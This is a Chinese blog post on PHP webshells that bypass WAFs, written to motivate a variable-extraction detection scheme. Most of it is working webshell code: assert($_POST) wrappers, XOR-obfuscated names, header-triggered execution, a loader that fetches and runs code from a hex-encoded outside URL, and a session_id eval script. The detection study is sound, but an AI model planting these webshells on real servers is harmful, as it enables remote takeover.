前言
之前在Webshell查殺的新思路中留了一個坑 ?,當時沒有找到具體找到全部變量的方法,后來通過學習找到了個打印全部量的方法,并再次學習了下PHP webshell繞過WAF的方法,以此來驗證下此方法是否合理。
如有錯誤,還請指出,不勝感激! :turtle:拜
在那篇文章中我突然想到一種檢測webshell的方法,就是首先獲取到當前文件中的所有變量(不明白的可以先去看下之前的文章),然后再根據正則庫進行靜態檢測。
自認為這種方法雖然會檢測不完全(每個檢測機制都不能保障全部有效),但是感覺非常簡單、實用,也沒那么多高深的道理。
為了驗證該檢測機制,首先了解下目前PHP webshell繞過WAF的方法。
常見繞過WAF的PHP webshell
字符串變形
大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾
<?php$a = base64_decode("YXNzYXNz+00000____");$a = substr_replace($a,"ert",3);$a($_POST['x']);?>ucwords()ucfirst()trim()substr_replace()substr()strtr()strtoupper()strtolower()strtok()str_rot13()chr()gzcompress()、gzdeflate()、gzencode()gzuncompress()、gzinflate()、gzdecode()base64_encode()base64_decode()pack()unpack()
自寫函數
利用 assert()
<?php function test($a){ $a($_POST['x']);}test(assert);?>
回調函數
<?php call_user_func(assert,array($_POST[x]));?>call_user_func_array()array_filter() array_walk() array_map()registregister_shutdown_function()register_tick_function()filter_var() filter_var_array() uasort() uksort() array_reduce()array_walk() array_walk_recursive()forward_static_call_array()
類
利用魔術方法、析構函數 __destruct() , __construct()
<?php class test{ public $a = ''; function __destruct(){ assert("$this->a"); }}$b = new test;$b->a = $_POST['x'];?>
利用外部文件
利用 curl , fsockopen 等發起網絡請求再結合 file_get_contents
<?phperror_reporting(0);session_start();header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);?>
無字符特征馬
編碼、異或、自增
<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';$___=$$__;$_($___[_]); // assert($_POST[_]);?>
特殊請求頭
利用 getallheaders()
<?php$cai=getallheaders()['cai'];$dao=getallheaders()['dao'];if($cai!="" and $dao!=""){ $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));}header('HTTP/1.1 404 Not Found');?>
全局變量
利用 getenv() , arrag_flip() , get_defined_vars() , session_id()
import requestsurl = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'payload = "phpinfo();".encode('hex')cookies = { 'PHPSESSID':payload}r = requests.get(url=url,cookies=cookies)print r.content
PHP混淆加解密
以phpjiami為例
就是將函數名、變量名全部變成”亂碼”,且改動任意一個地方,都將導致文件不能運行。
PHP webshell檢測方法
目前我所了解的webshell檢測方式有:
實例展示
這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬
可以明顯看到明顯的webshell規則了,這樣再用靜態規則、正則等即可輕松檢測到。
簡單檢測思路
檢測思路:
文件上傳->文件包含->獲取所有文件中的變量到臨時文件中->靜態規則匹配臨時文件->返回匹配結果
├── __init__.py
├── conf
│ ├── __init__.py
│ ├── config.py
├── core
│ ├── __init__.py
│ ├── all_check.py
│ ├── data_mysql.py
│ └── file_inotify.py
├── lib
│ ├── __init__.py
│ └── semantic_analysis_api.py
├── test
│ ├── __init__.py
│ ├── file_md5_move.py
│ ├── os_check.py
│ ├── random_file_test.py
│ └── ...
├── web
│ ├── static
│ │ ├── css
│ │ │ ├── main.css
│ │ ├── images
│ │ │ └── background.jpg
│ │ └── js
│ │ └── upload.js
│ ├── templates
│ │ ├── index.html
│ ├── upload_file.php
│ └── include_file_to_tmp.php
├── webshell_check.py
conf中包含的是諸如下列的靜態檢測規則
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對VeVb武林網的支持。
新聞熱點
疑難解答
圖片精選